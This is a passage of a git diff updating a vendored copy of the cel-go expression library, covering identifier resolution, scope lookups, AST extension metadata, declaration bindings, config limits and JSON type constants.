overloadCost.ResultSize != nil { if resultSize == nil { diff --git a/vendor/github.com/google/cel-go/checker/env.go b/vendor/github.com/google/cel-go/checker/env.go index d5ac0501..477918c4 100644 --- a/vendor/github.com/google/cel-go/checker/env.go +++ b/vendor/github.com/google/cel-go/checker/env.go @@ -74,6 +74,7 @@ type Env struct { declarations *Scopes aggLitElemType aggregateLiteralElementType filteredOverloadIDs map[string]struct{} + jsonFieldNames bool } // NewEnv returns a new *Env with the given parameters. @@ -104,6 +105,7 @@ func NewEnv(container *containers.Container, provider types.Provider, opts ...Op declarations: declarations, aggLitElemType: aggLitElemType, filteredOverloadIDs: filteredOverloadIDs, + jsonFieldNames: envOptions.jsonFieldNames, }, nil } @@ -129,45 +131,111 @@ func (e *Env) AddFunctions(declarations ...*decls.FunctionDecl) error { return formatError(errMsgs) } -// LookupIdent returns a Decl proto for typeName as an identifier in the Env. -// Returns nil if no such identifier is found in the Env. -func (e *Env) LookupIdent(name string) *decls.VariableDecl { +// newAttrResolution creates a new attribute resolution value. +func newAttrResolution(ident *decls.VariableDecl, requiresDisambiguation bool) *attributeResolution { + return &attributeResolution{ + VariableDecl: ident, + requiresDisambiguation: requiresDisambiguation, + } +} + +// attributeResolution wraps an existing variable and denotes whether disambiguation is needed +// during variable resolution. +type attributeResolution struct { + *decls.VariableDecl + + // requiresDisambiguation indicates the variable name should be dot-prefixed. + requiresDisambiguation bool +} + +// resolveSimpleIdent determines the resolved attribute for a single identifier. +func (e *Env) resolveSimpleIdent(name string) *attributeResolution { + local := e.lookupLocalIdent(name) + if local != nil && !strings.HasPrefix(name, ".") { + return newAttrResolution(local, false) + } for _, candidate := range e.container.ResolveCandidateNames(name) { - if ident := e.declarations.FindIdent(candidate); ident != nil { - return ident + if ident := e.lookupGlobalIdent(candidate); ident != nil { + return newAttrResolution(ident, local != nil) } + } + return nil +} - // Next try to import the name as a reference to a message type. If found, - // the declaration is added to the outest (global) scope of the - // environment, so next time we can access it faster. - if t, found := e.provider.FindStructType(candidate); found { - decl := decls.NewVariable(candidate, t) - e.declarations.AddIdent(decl) - return decl +// resolveQualifiedIdent determines the resolved attribute for a qualified identifier. +func (e *Env) resolveQualifiedIdent(qualifiers ...string) *attributeResolution { + if len(qualifiers) == 1 { + return e.resolveSimpleIdent(qualifiers[0]) + } + local := e.lookupLocalIdent(qualifiers[0]) + if local != nil && !strings.HasPrefix(qualifiers[0], ".") { + // this should resolve through a field selection rather than a qualified identifier + return nil + } + // The qualifiers are concatenated together to indicate the qualified name to search + // for as a global identifier. Since select expressions are resolved from leaf to root + // if the fully concatenated string doesn't match a global identifier, indicate that + // no variable was found to continue the traversal up to the next simpler name. + varName := strings.Join(qualifiers, ".") + for _, candidate := range e.container.ResolveCandidateNames(varName) { + if ident := e.lookupGlobalIdent(candidate); ident != nil { + return newAttrResolution(ident, local != nil) } + } + return nil +} +// resolveTypeIdent returns a Decl proto for typeName as an identifier in the Env. +// Returns nil if no such identifier is found in the Env. +func (e *Env) resolveTypeIdent(name string) *decls.VariableDecl { + for _, candidate := range e.container.ResolveCandidateNames(name) { + // Try to import the name as a reference to a message type. if i, found := e.provider.FindIdent(candidate); found { if t, ok := i.(*types.Type); ok { - decl := decls.NewVariable(candidate, types.NewTypeTypeWithParam(t)) - e.declarations.AddIdent(decl) - return decl + return decls.NewVariable(candidate, types.NewTypeTypeWithParam(t)) } } + // Next, try to find the struct type. + if t, found := e.provider.FindStructType(candidate); found { + return decls.NewVariable(candidate, t) + } + } + return nil +} - // Next try to import this as an enum value by splitting the name in a type prefix and - // the enum inside. - if enumValue := e.provider.EnumValue(candidate); enumValue.Type() != types.ErrType { - decl := decls.NewConstant(candidate, types.IntType, enumValue) - e.declarations.AddIdent(decl) - return decl +// lookupLocalIdent finds the variable candidate in a local scope, returning nil if +// the candidate variable name is not a local variable. +func (e *Env) lookupLocalIdent(candidate string) *decls.VariableDecl { + return e.declarations.FindLocalIdent(candidate) +} + +// lookupGlobalIdent finds a candidate variable name in the root scope, returning +// nil if the identifier is not in the global scope. +func (e *Env) lookupGlobalIdent(candidate string) *decls.VariableDecl { + // Try to resolve the global identifier first. + if ident := e.declarations.FindGlobalIdent(candidate); ident != nil { + return ident + } + // Next try to import the name as a reference to a message type. + if i, found := e.provider.FindIdent(candidate); found { + if t, ok := i.(*types.Type); ok { + return decls.NewVariable(candidate, types.NewTypeTypeWithParam(t)) } } + if t, found := e.provider.FindStructType(candidate); found { + return decls.NewVariable(candidate, t) + } + // Next try to import this as an enum value by splitting the name in a type prefix and + // the enum inside. + if enumValue := e.provider.EnumValue(candidate); enumValue.Type() != types.ErrType { + return decls.NewConstant(candidate, types.IntType, enumValue) + } return nil } -// LookupFunction returns a Decl proto for typeName as a function in env. +// lookupFunction returns a Decl proto for typeName as a function in env. // Returns nil if no such function is found in env. -func (e *Env) LookupFunction(name string) *decls.FunctionDecl { +func (e *Env) lookupFunction(name string) *decls.FunctionDecl { for _, candidate := range e.container.ResolveCandidateNames(name) { if fn := e.declarations.FindFunction(candidate); fn != nil { return fn @@ -207,12 +275,31 @@ func (e *Env) setFunction(fn *decls.FunctionDecl) []errorMsg { return errMsgs } +func maybeMergeConstant(a *decls.VariableDecl, b *decls.VariableDecl) (*decls.VariableDecl, errorMsg) { + if b.Value() != nil { + if a.Value() == nil { + return b, "" + } + eq, ok := a.Value().Equal(b.Value()).Value().(bool) + if ok && eq { + return a, "" + } + return nil, constantConflictError(b.Name()) + } + return a, "" +} + // addIdent adds the Decl to the declarations in the Env. // Returns a non-empty errorMsg if the identifier is already declared in the scope. func (e *Env) addIdent(decl *decls.VariableDecl) errorMsg { current := e.declarations.FindIdentInScope(decl.Name()) if current != nil { if current.DeclarationIsEquivalent(decl) { + decl, errMsg := maybeMergeConstant(current, decl) + if errMsg != "" { + return errMsg + } + e.declarations.AddIdent(decl) return "" } return overlappingIdentifierError(decl.Name()) @@ -259,6 +346,10 @@ func (e *Env) exitScope() *Env { // may be accumulated into an error at a later point in execution. type errorMsg string +func constantConflictError(name string) errorMsg { + return errorMsg(fmt.Sprintf("conflicting constant definitions for name '%s'", name)) +} + func overlappingIdentifierError(name string) errorMsg { return errorMsg(fmt.Sprintf("overlapping identifier for name '%s'", name)) } diff --git a/vendor/github.com/google/cel-go/checker/options.go b/vendor/github.com/google/cel-go/checker/options.go index 0560c381..af714323 100644 --- a/vendor/github.com/google/cel-go/checker/options.go +++ b/vendor/github.com/google/cel-go/checker/options.go @@ -18,6 +18,7 @@ type options struct { crossTypeNumericComparisons bool homogeneousAggregateLiterals bool validatedDeclarations *Scopes + jsonFieldNames bool } // Option is a functional option for configuring the type-checker @@ -40,3 +41,11 @@ func ValidatedDeclarations(env *Env) Option { return nil } } + +// JSONFieldNames enables the use of json names instead of the standard protobuf snake_case field names +func JSONFieldNames(enabled bool) Option { + return func(opts *options) error { + opts.jsonFieldNames = enabled + return nil + } +} diff --git a/vendor/github.com/google/cel-go/checker/scopes.go b/vendor/github.com/google/cel-go/checker/scopes.go index 8bb73ddb..9ae9832e 100644 --- a/vendor/github.com/google/cel-go/checker/scopes.go +++ b/vendor/github.com/google/cel-go/checker/scopes.go @@ -15,6 +15,8 @@ package checker import ( + "strings" + "github.com/google/cel-go/common/decls" ) @@ -76,6 +78,7 @@ func (s *Scopes) AddIdent(decl *decls.VariableDecl) { // found. // Note: The search is performed from innermost to outermost. func (s *Scopes) FindIdent(name string) *decls.VariableDecl { + name = strings.TrimPrefix(name, ".") if ident, found := s.scopes.idents[name]; found { return ident } @@ -89,12 +92,33 @@ func (s *Scopes) FindIdent(name string) *decls.VariableDecl { // nil if one does not exist. // Note: The search is only performed on the current scope and does not search outer scopes. func (s *Scopes) FindIdentInScope(name string) *decls.VariableDecl { + name = strings.TrimPrefix(name, ".") if ident, found := s.scopes.idents[name]; found { return ident } return nil } +// FindLocalIdent finds a locally scoped variable with a given name, ignoring the root scope. +func (s *Scopes) FindLocalIdent(name string) *decls.VariableDecl { + if s == nil || s.parent == nil { + return nil + } + if ident := s.FindIdentInScope(name); ident != nil { + return ident + } + return s.parent.FindLocalIdent(name) +} + +// FindGlobalIdent finds an identifier in the global scope, ignoring all local scopes. +func (s *Scopes) FindGlobalIdent(name string) *decls.VariableDecl { + scope := s + for scope.parent != nil { + scope = scope.parent + } + return scope.FindIdentInScope(name) +} + // SetFunction adds the function Decl to the current scope. // Note: Any previous entry for a function in the current scope with the same name is overwritten. func (s *Scopes) SetFunction(fn *decls.FunctionDecl) { @@ -105,6 +129,7 @@ func (s *Scopes) SetFunction(fn *decls.FunctionDecl) { // The search is performed from innermost to outermost. // Returns nil if no such function in Scopes. func (s *Scopes) FindFunction(name string) *decls.FunctionDecl { + name = strings.TrimPrefix(name, ".") if fn, found := s.scopes.functions[name]; found { return fn } diff --git a/vendor/github.com/google/cel-go/common/ast/ast.go b/vendor/github.com/google/cel-go/common/ast/ast.go index 62c09cfc..3ae2e106 100644 --- a/vendor/github.com/google/cel-go/common/ast/ast.go +++ b/vendor/github.com/google/cel-go/common/ast/ast.go @@ -16,6 +16,8 @@ package ast import ( + "slices" + "github.com/google/cel-go/common" "github.com/google/cel-go/common/types" "github.com/google/cel-go/common/types/ref" @@ -160,6 +162,26 @@ func MaxID(a *AST) int64 { return visitor.maxID + 1 } +// IDs returns the set of AST node IDs, including macro calls. +func (a *AST) IDs() map[int64]bool { + visitor := make(idVisitor) + PostOrderVisit(a.Expr(), visitor) + for _, call := range a.SourceInfo().MacroCalls() { + PostOrderVisit(call, visitor) + } + return visitor +} + +// ClearUnusedIDs removes IDs not used in the AST or macro calls from SourceInfo. +func (a *AST) ClearUnusedIDs() { + ids := a.IDs() + for id := range a.SourceInfo().OffsetRanges() { + if !ids[id] { + a.SourceInfo().ClearOffsetRange(id) + } + } +} + // Heights computes the heights of all AST expressions and returns a map from expression id to height. func Heights(a *AST) map[int64]int { visitor := make(heightVisitor) @@ -209,6 +231,11 @@ func CopySourceInfo(info *SourceInfo) *SourceInfo { for id, call := range info.macroCalls { callsCopy[id] = defaultFactory.CopyExpr(call) } + var extCopy []Extension + if len(info.extensions) > 0 { + extCopy = make([]Extension, len(info.extensions)) + copy(extCopy, info.extensions) + } return &SourceInfo{ syntax: info.syntax, desc: info.desc, @@ -217,6 +244,7 @@ func CopySourceInfo(info *SourceInfo) *SourceInfo { baseCol: info.baseCol, offsetRanges: rangesCopy, macroCalls: callsCopy, + extensions: extCopy, } } @@ -230,6 +258,26 @@ type SourceInfo struct { baseCol int32 offsetRanges map[int64]OffsetRange macroCalls map[int64]Expr + + // extensions indicate versioned optional features which affect the execution of one or more CEL component. + extensions []Extension +} + +// RenumberIDs performs an in-place update of the expression IDs within the SourceInfo. +func (s *SourceInfo) RenumberIDs(idGen IDGenerator) { + if s == nil { + return + } + oldIDs := []int64{} + for id := range s.offsetRanges { + oldIDs = append(oldIDs, id) + } + slices.Sort(oldIDs) + newRanges := make(map[int64]OffsetRange) + for _, id := range oldIDs { + newRanges[idGen(id)] = s.offsetRanges[id] + } + s.offsetRanges = newRanges } // SyntaxVersion returns the syntax version associated with the text expression. @@ -365,6 +413,12 @@ func (s *SourceInfo) ComputeOffset(line, col int32) int32 { line = s.baseLine + line col = s.baseCol + col } + return s.ComputeOffsetAbsolute(line, col) +} + +// ComputeOffsetAbsolute calculates the 0-based character offset from a 1-based line and 0-based column +// based on the absolute line and column of the SourceInfo. +func (s *SourceInfo) ComputeOffsetAbsolute(line, col int32) int32 { if line == 1 { return col } @@ -375,6 +429,34 @@ func (s *SourceInfo) ComputeOffset(line, col int32) int32 { return offset + col } +// Extensions returns the set of extensions present in the source. +func (s *SourceInfo) Extensions() []Extension { + var extensions []Extension + if s == nil { + return extensions + } + return s.extensions +} + +// HasExtension returns whether the source info contains the extension which satisfies the minimum version requirement. +// +// For an extension to be considered 'present' it must have the same major version as the minVersion and a minor version +// at least as great as the lowest minor version specified. +func (s *SourceInfo) HasExtension(id string, minVersion ExtensionVersion) bool { + for _, ext := range s.Extensions() { + return ext.ID == id && ext.Version.Major == minVersion.Major && ext.Version.Minor >= minVersion.Minor + } + return false +} + +// AddExtension adds an extension record into the SourceInfo. +func (s *SourceInfo) AddExtension(ext Extension) { + if s == nil { + return + } + s.extensions = append(s.extensions, ext) +} + // OffsetRange captures the start and stop positions of a section of text in the input expression. type OffsetRange struct { Start int32 @@ -444,6 +526,53 @@ func (r *ReferenceInfo) Equals(other *ReferenceInfo) bool { return true } +// NewExtension creates an Extension to be recorded on the SourceInfo. +func NewExtension(id string, version ExtensionVersion, components ...ExtensionComponent) Extension { + return Extension{ + ID: id, + Version: version, + Components: components, + } +} + +// Extension represents a versioned, optional feature present in the AST that affects CEL component behavior. +type Extension struct { + // ID indicates the unique name of the extension. + ID string + // Version indicates the major / minor version. + Version ExtensionVersion + // Components enumerates the CEL components affected by the feature. + Components []ExtensionComponent +} + +// NewExtensionVersion creates a new extension version with a major, minor version. +func NewExtensionVersion(major, minor int64) ExtensionVersion { + return ExtensionVersion{Major: major, Minor: minor} +} + +// ExtensionVersion represents a semantic version with a major and minor number. +type ExtensionVersion struct { + // Major version of the extension. + // All versions with the same major number are expected to be compatible with all minor version changes. + Major int64 + + // Minor version of the extension which indicates that some small non-semantic change has been made to + // the extension. + Minor int64 +} + +// ExtensionComponent indicates which CEL component is affected. +type ExtensionComponent int + +const ( + // ComponentParser means the feature affects expression parsing. + ComponentParser ExtensionComponent = iota + 1 + // ComponentTypeChecker means the feature affects type-checking. + ComponentTypeChecker + // ComponentRuntime alters program planning or evaluation of the AST. + ComponentRuntime +) + type maxIDVisitor struct { maxID int64 *baseVisitor @@ -533,3 +662,13 @@ func (hv heightVisitor) maxEntryHeight(entries ...EntryExpr) int { } return max } + +type idVisitor map[int64]bool + +func (v idVisitor) VisitExpr(e Expr) { + v[e.ID()] = true +} + +func (v idVisitor) VisitEntryExpr(e EntryExpr) { + v[e.ID()] = true +} diff --git a/vendor/github.com/google/cel-go/common/ast/conversion.go b/vendor/github.com/google/cel-go/common/ast/conversion.go index 435d8f65..380f8c11 100644 --- a/vendor/github.com/google/cel-go/common/ast/conversion.go +++ b/vendor/github.com/google/cel-go/common/ast/conversion.go @@ -27,6 +27,19 @@ import ( structpb "google.golang.org/protobuf/types/known/structpb" ) +var ( + pbComponentMap = map[exprpb.SourceInfo_Extension_Component]ExtensionComponent{ + exprpb.SourceInfo_Extension_COMPONENT_PARSER: ComponentParser, + exprpb.SourceInfo_Extension_COMPONENT_TYPE_CHECKER: ComponentTypeChecker, + exprpb.SourceInfo_Extension_COMPONENT_RUNTIME: ComponentRuntime, + } + componentPBMap = map[ExtensionComponent]exprpb.SourceInfo_Extension_Component{ + ComponentParser: exprpb.SourceInfo_Extension_COMPONENT_PARSER, + ComponentTypeChecker: exprpb.SourceInfo_Extension_COMPONENT_TYPE_CHECKER, + ComponentRuntime: exprpb.SourceInfo_Extension_COMPONENT_RUNTIME, + } +) + // ToProto converts an AST to a CheckedExpr protobouf. func ToProto(ast *AST) (*exprpb.CheckedExpr, error) { refMap := make(map[int64]*exprpb.Reference, len(ast.ReferenceMap())) @@ -534,6 +547,25 @@ func SourceInfoToProto(info *SourceInfo) (*exprpb.SourceInfo, error) { } sourceInfo.MacroCalls[id] = call } + for _, ext := range info.Extensions() { + var components []exprpb.SourceInfo_Extension_Component + for _, c := range ext.Components { + comp, found := componentPBMap[c] + if found { + components = append(components, comp) + } + } + ver := &exprpb.SourceInfo_Extension_Version{ + Major: ext.Version.Major, + Minor: ext.Version.Minor, + } + pbExt := &exprpb.SourceInfo_Extension{ + Id: ext.ID, + Version: ver, + AffectedComponents: components, + } + sourceInfo.Extensions = append(sourceInfo.Extensions, pbExt) + } return sourceInfo, nil } @@ -556,6 +588,23 @@ func ProtoToSourceInfo(info *exprpb.SourceInfo) (*SourceInfo, error) { } sourceInfo.SetMacroCall(id, call) } + for _, pbExt := range info.GetExtensions() { + var components []ExtensionComponent + for _, c := range pbExt.GetAffectedComponents() { + comp, found := pbComponentMap[*c.Enum()] + if found { + components = append(components, comp) + } + } + sourceInfo.AddExtension(NewExtension( + pbExt.GetId(), + NewExtensionVersion( + pbExt.GetVersion().GetMajor(), + pbExt.GetVersion().GetMinor(), + ), + components..., + )) + } return sourceInfo, nil } diff --git a/vendor/github.com/google/cel-go/common/debug/debug.go b/vendor/github.com/google/cel-go/common/debug/debug.go index 75f5f0d6..fbc847f0 100644 --- a/vendor/github.com/google/cel-go/common/debug/debug.go +++ b/vendor/github.com/google/cel-go/common/debug/debug.go @@ -312,3 +312,18 @@ func (w *debugWriter) removeIndent() { func (w *debugWriter) String() string { return w.buffer.String() } + +type idAdorner struct{} + +func (a *idAdorner) GetMetadata(elem any) string { + e, isExpr := elem.(ast.Expr) + if !isExpr { + return "" + } + return fmt.Sprintf("@id:%d ", e.ID()) +} + +// ToDebugStringWithIDs returns a string representation with AST node IDs. +func ToDebugStringWithIDs(e ast.Expr) string { + return ToAdornedDebugString(e, &idAdorner{}) +} diff --git a/vendor/github.com/google/cel-go/common/decls/decls.go b/vendor/github.com/google/cel-go/common/decls/decls.go index 759b1d16..cd4d3a56 100644 --- a/vendor/github.com/google/cel-go/common/decls/decls.go +++ b/vendor/github.com/google/cel-go/common/decls/decls.go @@ -270,7 +270,7 @@ func (f *FunctionDecl) AddOverload(overload *OverloadDecl) error { if oID == overload.ID() { if o.SignatureEquals(overload) && o.IsNonStrict() == overload.IsNonStrict() { // Allow redefinition of an overload implementation so long as the signatures match. - if overload.hasBinding() { + if overload.HasBinding() { f.overloads[oID] = overload } // Allow redefinition of the doc string. @@ -303,7 +303,15 @@ func (f *FunctionDecl) OverloadDecls() []*OverloadDecl { return overloads } -// Returns true if the function has late bindings. A function cannot mix late bindings with other bindings. +// HasSingletonBinding indicates whether the function has a singleton binding definition. +func (f *FunctionDecl) HasSingletonBinding() bool { + if f == nil { + return false + } + return f.singleton != nil +} + +// HasLateBinding returns true if the function has late bindings. A function cannot mix late bindings with other bindings. func (f *FunctionDecl) HasLateBinding() bool { if f == nil { return false @@ -328,7 +336,7 @@ func (f *FunctionDecl) Bindings() ([]*functions.Overload, error) { for _, oID := range f.overloadOrdinals { o := f.overloads[oID] hasLateBinding = hasLateBinding || o.HasLateBinding() - if o.hasBinding() { + if o.HasBinding() { overload := &functions.Overload{ Operator: o.ID(), Unary: o.guardedUnaryOp(f.Name(), f.disableTypeGuards), @@ -740,8 +748,8 @@ func (o *OverloadDecl) SignatureOverlaps(other *OverloadDecl) bool { return argsOverlap } -// hasBinding indicates whether the overload already has a definition. -func (o *OverloadDecl) hasBinding() bool { +// HasBinding indicates whether the overload already has a definition. +func (o *OverloadDecl) HasBinding() bool { return o != nil && (o.unaryOp != nil || o.binaryOp != nil || o.functionOp != nil) } @@ -842,7 +850,7 @@ func OverloadExamples(examples ...string) OverloadOpt { // type-guard which ensures runtime type agreement between the overload signature and runtime argument types. func UnaryBinding(binding functions.UnaryOp) OverloadOpt { return func(o *OverloadDecl) (*OverloadDecl, error) { - if o.hasBinding() { + if o.HasBinding() { return nil, fmt.Errorf("overload already has a binding: %s", o.ID()) } if len(o.ArgTypes()) != 1 { @@ -860,7 +868,7 @@ func UnaryBinding(binding functions.UnaryOp) OverloadOpt { // type-guard which ensures runtime type agreement between the overload signature and runtime argument types. func BinaryBinding(binding functions.BinaryOp) OverloadOpt { return func(o *OverloadDecl) (*OverloadDecl, error) { - if o.hasBinding() { + if o.HasBinding() { return nil, fmt.Errorf("overload already has a binding: %s", o.ID()) } if len(o.ArgTypes()) != 2 { @@ -878,7 +886,7 @@ func BinaryBinding(binding functions.BinaryOp) OverloadOpt { // type-guard which ensures runtime type agreement between the overload signature and runtime argument types. func FunctionBinding(binding functions.FunctionOp) OverloadOpt { return func(o *OverloadDecl) (*OverloadDecl, error) { - if o.hasBinding() { + if o.HasBinding() { return nil, fmt.Errorf("overload already has a binding: %s", o.ID()) } if o.hasLateBinding { @@ -893,7 +901,7 @@ func FunctionBinding(binding functions.FunctionOp) OverloadOpt { // This is useful for functions which have side-effects or are not deterministically computable. func LateFunctionBinding() OverloadOpt { return func(o *OverloadDecl) (*OverloadDecl, error) { - if o.hasBinding() { + if o.HasBinding() { return nil, fmt.Errorf("overload already has a binding: %s", o.ID()) } o.hasLateBinding = true diff --git a/vendor/github.com/google/cel-go/common/doc.go b/vendor/github.com/google/cel-go/common/doc.go index 06eae364..c10742c2 100644 --- a/vendor/github.com/google/cel-go/common/doc.go +++ b/vendor/github.com/google/cel-go/common/doc.go @@ -37,6 +37,8 @@ const ( DocMacro // DocExample represents example documentation. DocExample + // DocField represents documentation for a struct field. + DocField ) // Doc holds the documentation details for a specific program element like @@ -163,6 +165,17 @@ func NewExampleDoc(ex string) *Doc { } } +// NewFieldDoc creates a new Doc struct for documenting a struct field. +func NewFieldDoc(name, celType, description string, examples ...*Doc) *Doc { + return &Doc{ + Kind: DocField, + Name: name, + Type: celType, + Description: description, + Children: examples, + } +} + // Documentor is an interface for types that can provide their own documentation. type Documentor interface { // Documentation returns the documentation coded by the DocKind to assist diff --git a/vendor/github.com/google/cel-go/common/env/BUILD.bazel b/vendor/github.com/google/cel-go/common/env/BUILD.bazel index aebe1e54..b2e0c293 100644 --- a/vendor/github.com/google/cel-go/common/env/BUILD.bazel +++ b/vendor/github.com/google/cel-go/common/env/BUILD.bazel @@ -45,6 +45,6 @@ go_test( "//common/operators:go_default_library", "//common/overloads:go_default_library", "//common/types:go_default_library", - "@in_gopkg_yaml_v3//:go_default_library", + "@in_yaml_go_yaml_v3//:go_default_library", ], ) diff --git a/vendor/github.com/google/cel-go/common/env/env.go b/vendor/github.com/google/cel-go/common/env/env.go index d848860c..85ec85cd 100644 --- a/vendor/github.com/google/cel-go/common/env/env.go +++ b/vendor/github.com/google/cel-go/common/env/env.go @@ -50,6 +50,7 @@ type Config struct { Functions []*Function `yaml:"functions,omitempty"` Validators []*Validator `yaml:"validators,omitempty"` Features []*Feature `yaml:"features,omitempty"` + Limits []*Limit `yaml:"limits,omitempty"` } // Validate validates the whole configuration is well-formed. @@ -92,6 +93,11 @@ func (c *Config) Validate() error { errs = append(errs, err) } } + for _, limit := range c.Limits { + if err := limit.Validate(); err != nil { + errs = append(errs, err) + } + } for _, val := range c.Validators { if err := val.Validate(); err != nil { errs = append(errs, err) @@ -122,7 +128,7 @@ func (c *Config) AddVariableDecls(vars ...*decls.VariableDecl) *Config { return c.AddVariables(convVars...) } -// AddVariables adds one or more vairables to the config. +// AddVariables adds one or more variables to the config. func (c *Config) AddVariables(vars ...*Variable) *Config { c.Variables = append(c.Variables, vars...) return c @@ -206,6 +212,12 @@ func (c *Config) AddFeatures(feats ...*Feature) *Config { return c } +// AddLimits appends one or more limits to the config. +func (c *Config) AddLimits(limits ...*Limit) *Config { + c.Limits = append(c.Limits, limits...) + return c +} + // NewImport returns a serializable import value from the qualified type name. func NewImport(name string) *Import { return &Import{Name: name} @@ -734,6 +746,29 @@ func (feat *Feature) Validate() error { return nil } +// Limit represents a named limit in the CEL environment. This is used to control +// the complexity tolerated before failing parsing, type checking, or planning. +type Limit struct { + Name string `yaml:"name"` + Value int `yaml:"value"` +} + +// NewLimit creates a new limit. +func NewLimit(name string, value int) *Limit { + return &Limit{name, value} +} + +// Validate validates a limit. +func (l *Limit) Validate() error { + if l == nil { + return errors.New("invalid limit: nil") + } + if l.Name == "" { + return errors.New("invalid limit: missing name") + } + return nil +} + // NewTypeDesc describes a simple or complex type with parameters. func NewTypeDesc(typeName string, params ...*TypeDesc) *TypeDesc { return &TypeDesc{TypeName: typeName, Params: params} @@ -796,6 +831,14 @@ func (td *TypeDesc) Validate() error { return fmt.Errorf("invalid type: optional_type expects 1 parameter, got %d", len(td.Params)) } return td.Params[0].Validate() + case "type": + if len(td.Params) == 0 { + return nil + } + if len(td.Params) != 1 { + return fmt.Errorf("invalid type: type expects 0 or 1 parameters, got %d", len(td.Params)) + } + return td.Params[0].Validate() default: } return nil @@ -832,6 +875,15 @@ func (td *TypeDesc) AsCELType(tp types.Provider) (*types.Type, error) { return nil, err } return types.NewOptionalType(et), nil + case "type": + if len(td.Params) == 0 { + return types.TypeType, nil + } + pt, err := td.Params[0].AsCELType(tp) + if err != nil { + return nil, err + } + return types.NewTypeTypeWithParam(pt), nil default: if td.IsTypeParam { return types.NewTypeParamType(td.TypeName), nil diff --git a/vendor/github.com/google/cel-go/common/types/BUILD.bazel b/vendor/github.com/google/cel-go/common/types/BUILD.bazel index 7082bc75..37d4df49 100644 --- a/vendor/github.com/google/cel-go/common/types/BUILD.bazel +++ b/vendor/github.com/google/cel-go/common/types/BUILD.bazel @@ -40,7 +40,6 @@ go_library( "//common/types/pb:go_default_library", "//common/types/ref:go_default_library", "//common/types/traits:go_default_library", - "@com_github_stoewer_go_strcase//:go_default_library", "@dev_cel_expr//:expr", "@org_golang_google_genproto_googleapis_api//expr/v1alpha1:go_default_library", "@org_golang_google_protobuf//encoding/protojson:go_default_library", diff --git a/vendor/github.com/google/cel-go/common/types/bool.go b/vendor/github.com/google/cel-go/common/types/bool.go index 1f9e1073..5f1e4573 100644 --- a/vendor/github.com/google/cel-go/common/types/bool.go +++ b/vendor/github.com/google/cel-go/common/types/bool.go @@ -69,7 +69,7 @@ func (b Bool) ConvertToNative(typeDesc reflect.Type) (any, error) { case boolWrapperType: // Convert the bool to a wrapperspb.BoolValue. return wrapperspb.Bool(bool(b)), nil - case jsonValueType: + case JSONValueType: // Return the bool as a new structpb.Value. return structpb.NewBoolValue(bool(b)), nil default: diff --git a/vendor/github.com/google/cel-go/common/types/bytes.go b/vendor/github.com/google/cel-go/common/types/bytes.go index b59e1fc2..88da0531 100644 --- a/vendor/github.com/google/cel-go/common/types/bytes.go +++ b/vendor/github.com/google/cel-go/common/types/bytes.go @@ -79,7 +79,7 @@ func (b Bytes) ConvertToNative(typeDesc reflect.Type) (any, error) { case byteWrapperType: // Convert the bytes to a wrapperspb.BytesValue. return wrapperspb.Bytes([]byte(b)), nil - case jsonValueType: + case JSONValueType: // CEL follows the proto3 to JSON conversion by encoding bytes to a string via base64. // The encoding below matches the golang 'encoding/json' behavior during marshaling, // which uses base64.StdEncoding. diff --git a/vendor/github.com/google/cel-go/common/types/double.go b/vendor/github.com/google/cel-go/common/types/double.go index 1e7de9d6..02abfee2 100644 --- a/vendor/github.com/google/cel-go/common/types/double.go +++ b/vendor/github.com/google/cel-go/common/types/double.go @@ -89,7 +89,7 @@ func (d Double) ConvertToNative(typeDesc reflect.Type) (any, error) { case floatWrapperType: // Convert to a wrapperspb.FloatValue (with truncation). return wrapperspb.Float(float32(d)), nil - case jsonValueType: + case JSONValueType: // Note, there are special cases for proto3 to json conversion that // expect the floating point value to be converted to a NaN, // Infinity, or -Infinity string values, but the jsonpb string diff --git a/vendor/github.com/google/cel-go/common/types/duration.go b/vendor/github.com/google/cel-go/common/types/duration.go index be58d567..22071477 100644 --- a/vendor/github.com/google/cel-go/common/types/duration.go +++ b/vendor/github.com/google/cel-go/common/types/duration.go @@ -106,7 +106,7 @@ func (d Duration) ConvertToNative(typeDesc reflect.Type) (any, error) { case durationValueType: // Unwrap the CEL value to its underlying proto value. return dpb.New(d.Duration), nil - case jsonValueType: + case JSONValueType: // CEL follows the proto3 to JSON conversion. // Note, using jsonpb would wrap the result in extra double quotes. v := d.ConvertToType(StringType) diff --git a/vendor/github.com/google/cel-go/common/types/err.go b/vendor/github.com/google/cel-go/common/types/err.go index 17ab1a95..3216ff1c 100644 --- a/vendor/github.com/google/cel-go/common/types/err.go +++ b/vendor/github.com/google/cel-go/common/types/err.go @@ -113,6 +113,9 @@ func ValOrErr(val ref.Val, format string, args ...any) ref.Val { // WrapErr wraps an existing Go error value into a CEL Err value. func WrapErr(err error) ref.Val { + if err, ok := err.(*Err); ok { + return err + } return &Err{error: err} } diff --git a/vendor/github.com/google/cel-go/common/types/int.go b/vendor/github.com/google/cel-go/common/types/int.go index 0ac1997b..60d5a716 100644 --- a/vendor/github.com/google/cel-go/common/types/int.go +++ b/vendor/github.com/google/cel-go/common/types/int.go @@ -120,7 +120,7 @@ func (i Int) ConvertToNative(typeDesc reflect.Type) (any, error) { case int64WrapperType: // Convert the value to a wrapperspb.Int64Value. return wrapperspb.Int64(int64(i)), nil - case jsonValueType: + case JSONValueType: // The proto-to-JSON conversion rules would convert all 64-bit integer values to JSON // decimal strings. Because CEL ints might come from the automatic widening of 32-bit // values in protos, the JSON type is chosen dynamically based on the value. diff --git a/vendor/github.com/google/cel-go/common/types/json_value.go b/vendor/github.com/google/cel-go/common/types/json_value.go index 13a4efe7..90acfe7d 100644 --- a/vendor/github.com/google/cel-go/common/types/json_value.go +++ b/vendor/github.com/google/cel-go/common/types/json_value.go @@ -22,8 +22,9 @@ import ( // JSON type constants representing the reflected types of protobuf JSON values. var ( - jsonValueType = reflect.TypeOf(&structpb.Value{}) - jsonListValueType = reflect.TypeOf(&structpb.ListValue{}) - jsonStructType = reflect.TypeOf(&structpb.Struct{}) - jsonNullType = reflect.TypeOf(structpb.NullValue_NULL_VALUE) + // JSONValueType describes the protobuf native type for a JSON value. + JSONValueType = reflect.TypeFor[*structpb.Value]() + JSONListType = reflect.TypeFor[*structpb.ListValue]() + JSONStructType = reflect.TypeFor[*structpb.Struct]() + JSONNullType = reflect.TypeFor[structpb.NullValue]() ) diff --git a/vendor/github.com/google/cel-go/common/types/list.go b/vendor/github.com/google/cel-go/common/types/list.go index 8c023f89..028770ed 100644 --- a/vendor/github.com/google/cel-go/common/types/list.go +++ b/vendor/github.com/google/cel-go/common/types/list.go @@ -126,16 +126,7 @@ func (l *baseList) Add(other ref.Val) ref.Val { if !ok { return 